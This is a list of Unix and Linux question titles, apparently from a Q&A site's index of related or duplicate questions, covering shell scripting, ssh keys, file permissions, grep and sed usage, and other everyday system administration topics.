Odd output from fdisk -l: overlapping and missing partitions?

What is the difference between "extended" partition and "logical" partition


The merits of a partitionless filesystem


Find and move directory to a new directory based on name

Shell Script to move folders containing a specific word


How to recover data after memory module errors

Check and fix all files from Debian packages.


How do I resolve samba share to IP address or host name


facl ignoring the "x" permission but only on files


Authentication refused: bad ownership or modes for file /var/git/.ssh/authorized_keys

Why am I still getting a password prompt with ssh with public key authentication?


Clear the terminal in "vi" mode? (equivalent of "ctrl+l" from "emacs" mode)

Is there any way to enable Ctrl+L to clear screen when 'set -o vi' is set?


Settings environment variables from a file


What's the difference between poweroff and halt?

What is the difference between Halt and Shutdown commands?


Use of quotes in GNU grep regular expressions


Aliasing a command with special parameters

In Bash, when to alias, when to script, and when to write a function?


Round-tripping text through zip, unzip fails with 'extra bytes' error on OS X


Postgresql wont start after reboot. Kali linux Raspberry Pi 2

How to solve the problem of PostgreSQL service doesn't start?


Is there a need to get rid of a zombie process?


Find records present in file 1 also in both file 2 and file 3


Why is sudo slow when I mistype my password?

Why is there a big delay after entering a wrong password?


How do I *reliably* and *simply* get the current shell interpreter name?

determine shell in script during runtime


Why do Unix man pages use double backticks in place of double quotes?


Terminal does not accept pasted or typed lines of more than 1024 characters

How to read over 4k input without new lines on a terminal?


Can an argument be passed through the "alias" command?

How can I create an alias that passes additional arguments?


Restrict a user from viewing other user's processes

Hide processes from other users based on groups (under Linux)?


Splitting a pdf-file into 2 pdf's (one contining equal pages etc...)

Extract even-numbered and odd-numbered pages of a PDF into two separate PDFs


Why is my variable local in one 'while read' loop, but not in another seemingly similar loop?


How can I execute `date` inside of a cron tab job?


Percent Signs for Shell Vars to Remove Extension


Copy Single Value from a file to a variable and perform arithmetic over it?

How to do integer & float calculations, in bash or other languages/frameworks?


Unable to setup iptables for ftp passive mode


How to run a command in linux and use its output in another command?

How to pass the output of one command as the command-line argument to another?


Preventing terminal disconnection from killing a running job in zsh

How can I disown a running process and associate it to a new screen shell?


Argument list too long with just 5000 files


How can I assign the output of a command to a shell variable?


What is the alternative for ls command in linux?

What to use when the "ls" command doesn't work?


ls - why is parent directory smaller than its contents? How to see the size of directory's contents?

What does size of a directory mean in output of 'ls -l' command?


X Windows special programs: do some of these still exist? Which ones?


Create a virtual file that is actually a command


Extract several lines from large text file

What's the best way to take a segment out of a text file?


Why does find not match repeat / quantifier expressions with emacs regular expressions?

find command with regex quantifier e.g. {1,2}


linux how to cd to parent folder if navigated through a symlink


How can I add a line including single quotes to a file with sed

How to replace quotation marks in a file with sed?


Grepping entire system but dodging process files and the like

Recursive grep vs find / -type f -exec grep {} \; Which is more efficient/faster?


Is there something like "common Linux commands"?

Which are the standard commands available in every Linux based distribution?


Single line command to cat last file in ls -lrt output?

Is it possible to reference the most recently modified file in a command line argument?


Wildcards for filepaths aren't working in grep

Why does "grep '.*[s]' file" work and "grep .*[s] file" doesn't?


How to make a single line into two new lines


Map Caps Lock to Escape for server not running X


apt-get upgrade with /usr/bin on aufs fails to create backup link

What means "unable to make backup link of /binary before installing new version: No such file or directory"?


How can I delete a file named "--append"?

How do I delete a file whose name begins with "-" (hyphen a.k.a. dash or minus)?


Getting an error to find directory is empty


What is Dash(-) actually in unix or linux?


bash - Why does type -a execute "$(printf 'a')" and is it possible to get back the original alias?

Difference between ' and " on command line (bash)?


Pass environment variables' values to a program?


Is there any way to see how much data I sent via Internet?


How to split output lines into multiple lines (only lines not files)?


Delete the data based on the output of awk command

Removal of lines with no more or fewer than 'N' fields?


What characters should I escape while modifying a file using sed?

How to ensure that string interpolated into `sed` substitution escapes all metachars


When would you use $* instead of $@ in Bourne shells?

What is the difference between $* and $@?


How do I test if a file does not exist using ZSH?

bash: syntax error near unexpected token `}'


`ls / | wc -l` tells more lines than `ls /` shows

Output from ls has newlines but displays on a single line. Why?


setfacl incorrectly changes group permissions


How to find all hard links to a given file?

List all files with the same inode number?


dd shows a random number of records in/out

Why does dd from /dev/random give different file sizes?


How to set tmux terminfo to screen-256color?


How to run my own program without specifying its path


How to print the line numbers with corresponding line that matches a pattern using shell command?

How to display line number while doing grep on a file


Advice with How to Return the # of Files found within a folder

What's the best way to count the number of files in a directory?